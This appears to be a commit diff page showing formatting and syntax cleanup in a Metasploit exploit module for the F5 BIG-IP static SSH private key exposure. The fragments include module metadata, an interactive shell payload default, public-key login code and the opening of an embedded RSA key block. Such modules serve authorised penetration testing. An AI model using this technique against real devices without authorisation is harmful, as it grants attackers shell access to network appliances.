parent
5006db7550
commit
fe39642e27
|
@ -1,5 +1,3 @@
|
||||||
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -15,9 +13,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info, {
|
super(update_info(info,
|
||||||
'Name' => 'F5 BIG-IP SSH Private Key Exposure',
|
'Name' => 'F5 BIG-IP SSH Private Key Exposure',
|
||||||
'Version' => '$Revision$',
|
'Version' => '$Revision$',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
|
@ -48,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'DisclosureDate' => "Jun 11 2012",
|
'DisclosureDate' => "Jun 11 2012",
|
||||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
}))
|
))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
|
@ -76,7 +73,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def do_login(user)
|
def do_login(user)
|
||||||
|
|
||||||
opt_hash = {
|
opt_hash = {
|
||||||
:auth_methods => ['publickey'],
|
:auth_methods => ['publickey'],
|
||||||
:msframework => framework,
|
:msframework => framework,
|
||||||
|
@ -128,7 +124,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def key_data
|
def key_data
|
||||||
<<EOF
|
<<EOF
|
||||||
-----BEGIN RSA PRIVATE KEY-----
|
-----BEGIN RSA PRIVATE KEY-----
|
||||||
|
|
Loading…
Reference in New Issue